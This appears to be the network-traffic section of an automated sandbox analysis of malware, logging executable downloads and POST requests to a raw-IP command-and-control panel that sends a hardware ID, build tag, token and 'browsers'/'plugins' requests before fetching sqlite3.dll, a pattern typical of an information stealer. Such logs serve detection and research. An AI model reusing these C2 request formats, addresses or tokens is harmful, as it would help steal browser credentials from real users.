00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Wed, 27 Nov 2024 15:34:54 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "13bf0-5e7e950876500"Accept-Ranges: bytesContent-Length: 80880Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e0 e3 00 00 14 09 00 00 b8 00 01 00 8c 00 00 00 00 10 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 fa 00 00 f0 41 00 00 00 20 01 00 10 0a 00 00 80 20 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 20 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 b4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 f4 dc 00 00 00 10 00 00 00 de 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 f4 05 00 00 00 f0 00 00 00 02 00 00 00 e2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 84 05 00 00 00 00 01 00 00 06 00 00 00 e4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 00 04 00 00 00 10 01 00 00 04 00 00 00 ea 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 10 0a 00 00 00 20 01 00 00 0c 00 00 00 ee 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Wed, 27 Nov 2024 15:35:00 GMTContent-Type: application/octet-streamContent-Length: 1917952Last-Modified: Wed, 27 Nov 2024 14:40:55 GMTConnection: keep-aliveETag: "67472f77-1d4400"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 98 01 00 00 00 00 00 00 d0 4b 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 00 4c 00 00 04 00 00 e6 2e 1e 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 57 a0 06 00 6b 00 00 00 00 90 06 00 44 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 94 b6 4b 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 44 b6 4b 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 80 06 00 00 10 00 00 00 de 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 44 03 00 00 00 90 06 00 00 04 00 00 00 ee 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 a0 06 00 00 02 00 00 00 f2 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 e0 2a 00 00 b0 06 00 00 02 00 00 00 f4 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 70 6d 77 6b 68 64 6a 7a 00 30 1a 00 00 90 31 00 00 28 1a 00 00 f6 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 76 63 62 66 72 6a 69 74 00 10 00 00 00 c0 4b 00 00 04 00 00 00 1e 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 d0 4b 00 00 22 00 00 00 22 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Wed, 27 Nov 2024 15:35:53 GMTContent-Type: application/octet-streamContent-Length: 2014720Last-Modified: Wed, 27 Nov 2024 14:12:07 GMTConnection: keep-aliveETag: "674728b7-1ebe00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 f6 d9 52 43 b2 b8 3c 10 b2 b8 3c 10 b2 b8 3c 10 ac ea b8 10 ac b8 3c 10 ac ea a9 10 ad b8 3c 10 ac ea bf 10 cd b8 3c 10 95 7e 47 10 b1 b8 3c 10 b2 b8 3d 10 33 b8 3c 10 ac ea b6 10 b3 b8 3c 10 ac ea a8 10 b3 b8 3c 10 ac ea ad 10 b3 b8 3c 10 52 69 63 68 b2 b8 3c 10 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 18 5b c6 64 00 00 00 00 00 00 00 00 e0 00 03 01 0b 01 09 00 00 7c 05 00 00 ec 00 00 00 00 00 00 00 70 4b 00 00 10 00 00 00 90 05 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 00 00 00 00 00 00 05 00 00 00 00 00 00 00 00 a0 4b 00 00 04 00 00 02 7f 1f 00 02 00 00 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 5b f0 06 00 6f 00 00 00 00 60 06 00 34 82 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 88 24 4b 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 50 06 00 00 10 00 00 00 ae 03 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 34 82 00 00 00 60 06 00 00 3c 00 00 00 be 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 f0 06 00 00 02 00 00 00 fa 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 c0 29 00 00 00 07 00 00 02 00 00 00 fc 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 71 73 79 77 61 61 6b 6f 00 a0 1a 00 00 c0 30 00 00 9a 1a 00 00 fe 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 75 78 6a 71 78 71 6c 6a 00 10 00 00 00 60 4b 00 00 04 00 00 00 98 1e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 70 4b 00 00 22 00 00 00 9c 1e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Wed, 27 Nov 2024 15:36:02 GMTContent-Type: application/octet-streamContent-Length: 4424704Last-Modified: Wed, 27 Nov 2024 13:25:06 GMTConnection: keep-aliveETag: "67471db2-438400"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 25 da 45 67 00 00 00 00 00 00 00 00 e0 00 0e 03 0b 01 02 28 00 4e 4b 00 00 3a 76 00 00 32 00 00 00 a0 c6 00 00 10 00 00 00 60 4b 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 d0 c6 00 00 04 00 00 5d 7a 44 00 02 00 40 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 5f a0 73 00 73 00 00 00 00 90 73 00 b0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 7f c6 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 7e c6 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 80 73 00 00 10 00 00 00 36 28 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 b0 02 00 00 00 90 73 00 00 02 00 00 00 46 28 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 a0 73 00 00 02 00 00 00 48 28 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 c0 37 00 00 b0 73 00 00 02 00 00 00 4a 28 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 65 61 76 6e 6a 6a 68 77 00 20 1b 00 00 70 ab 00 00 12 1b 00 00 4c 28 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6b 76 6e 6d 7a 69 61 69 00 10 00 00 00 90 c6 00 00 04 00 00 00 5e 43 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 a0 c6 00 00 22 00 00 00 62 43 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Wed, 27 Nov 2024 15:36:16 GMTContent-Type: application/octet-streamContent-Length: 1871360Last-Modified: Wed, 27 Nov 2024 14:40:41 GMTConnection: keep-aliveETag: "67472f69-1c8e00"Accept-Ranges: bytesData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 95 08 45 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 02 04 00 00 c6 00 00 00 00 00 00 00 60 4a 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 90 4a 00 00 04 00 00 5e df 1c 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 5c 80 05 00 70 00 00 00 00 70 05 00 b0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 05 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 60 05 00 00 10 00 00 00 5c 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 b0 02 00 00 00 70 05 00 00 02 00 00 00 6c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 80 05 00 00 02 00 00 00 6e 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 c0 2a 00 00 90 05 00 00 02 00 00 00 70 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 61 76 75 6b 74 72 62 65 00 00 1a 00 00 50 30 00 00 f4 19 00 00 72 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 68 63 6f 61 6b 6d 6a 64 00 10 00 00 00 50 4a 00 00 06 00 00 00 66 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 60 4a 00 00 22 00 00 00 6c 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: global traffic	HTTP traffic detected: GET /ip HTTP/1.1Host: httpbin.orgAccept: /
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----KKKJEBAAECBGDHIECAKJHost: 185.215.113.206Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4b 4b 4b 4a 45 42 41 41 45 43 42 47 44 48 49 45 43 41 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 45 34 41 37 38 45 33 36 30 39 30 31 32 32 36 33 31 38 30 30 32 35 0d 0a 2d 2d 2d 2d 2d 2d 4b 4b 4b 4a 45 42 41 41 45 43 42 47 44 48 49 45 43 41 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 6d 61 72 73 0d 0a 2d 2d 2d 2d 2d 2d 4b 4b 4b 4a 45 42 41 41 45 43 42 47 44 48 49 45 43 41 4b 4a 2d 2d 0d 0a Data Ascii: ------KKKJEBAAECBGDHIECAKJContent-Disposition: form-data; name="hwid"E4A78E3609012263180025------KKKJEBAAECBGDHIECAKJContent-Disposition: form-data; name="build"mars------KKKJEBAAECBGDHIECAKJ--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BKFHCGIDBAAFHIDHDAAEHost: 185.215.113.206Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 42 4b 46 48 43 47 49 44 42 41 41 46 48 49 44 48 44 41 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 62 61 64 37 38 66 34 36 62 36 66 34 38 33 65 30 36 31 66 66 36 30 63 63 65 35 64 66 32 63 63 63 32 30 39 64 39 64 61 61 39 66 63 32 65 38 66 30 65 36 63 35 66 64 32 32 61 63 36 63 66 61 65 66 30 64 31 33 62 61 30 39 0d 0a 2d 2d 2d 2d 2d 2d 42 4b 46 48 43 47 49 44 42 41 41 46 48 49 44 48 44 41 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 42 4b 46 48 43 47 49 44 42 41 41 46 48 49 44 48 44 41 41 45 2d 2d 0d 0a Data Ascii: ------BKFHCGIDBAAFHIDHDAAEContent-Disposition: form-data; name="token"bad78f46b6f483e061ff60cce5df2ccc209d9daa9fc2e8f0e6c5fd22ac6cfaef0d13ba09------BKFHCGIDBAAFHIDHDAAEContent-Disposition: form-data; name="message"browsers------BKFHCGIDBAAFHIDHDAAE--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----FCFBFBFBKFIDHJKFCAFCHost: 185.215.113.206Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 46 43 46 42 46 42 46 42 4b 46 49 44 48 4a 4b 46 43 41 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 62 61 64 37 38 66 34 36 62 36 66 34 38 33 65 30 36 31 66 66 36 30 63 63 65 35 64 66 32 63 63 63 32 30 39 64 39 64 61 61 39 66 63 32 65 38 66 30 65 36 63 35 66 64 32 32 61 63 36 63 66 61 65 66 30 64 31 33 62 61 30 39 0d 0a 2d 2d 2d 2d 2d 2d 46 43 46 42 46 42 46 42 4b 46 49 44 48 4a 4b 46 43 41 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 46 43 46 42 46 42 46 42 4b 46 49 44 48 4a 4b 46 43 41 46 43 2d 2d 0d 0a Data Ascii: ------FCFBFBFBKFIDHJKFCAFCContent-Disposition: form-data; name="token"bad78f46b6f483e061ff60cce5df2ccc209d9daa9fc2e8f0e6c5fd22ac6cfaef0d13ba09------FCFBFBFBKFIDHJKFCAFCContent-Disposition: form-data; name="message"plugins------FCFBFBFBKFIDHJKFCAFC--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HJJEHJJKJEGHJJKEBFBGHost: 185.215.113.206Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 48 4a 4a 45 48 4a 4a 4b 4a 45 47 48 4a 4a 4b 45 42 46 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 62 61 64 37 38 66 34 36 62 36 66 34 38 33 65 30 36 31 66 66 36 30 63 63 65 35 64 66 32 63 63 63 32 30 39 64 39 64 61 61 39 66 63 32 65 38 66 30 65 36 63 35 66 64 32 32 61 63 36 63 66 61 65 66 30 64 31 33 62 61 30 39 0d 0a 2d 2d 2d 2d 2d 2d 48 4a 4a 45 48 4a 4a 4b 4a 45 47 48 4a 4a 4b 45 42 46 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 48 4a 4a 45 48 4a 4a 4b 4a 45 47 48 4a 4a 4b 45 42 46 42 47 2d 2d 0d 0a Data Ascii: ------HJJEHJJKJEGHJJKEBFBGContent-Disposition: form-data; name="token"bad78f46b6f483e061ff60cce5df2ccc209d9daa9fc2e8f0e6c5fd22ac6cfaef0d13ba09------HJJEHJJKJEGHJJKEBFBGContent-Disposition: form-data; name="message"fplugins------HJJEHJJKJEGHJJKEBFBG--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GIEHJKEBAAEBGCAAEBFHHost: 185.215.113.206Content-Length: 5567Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/sqlite3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
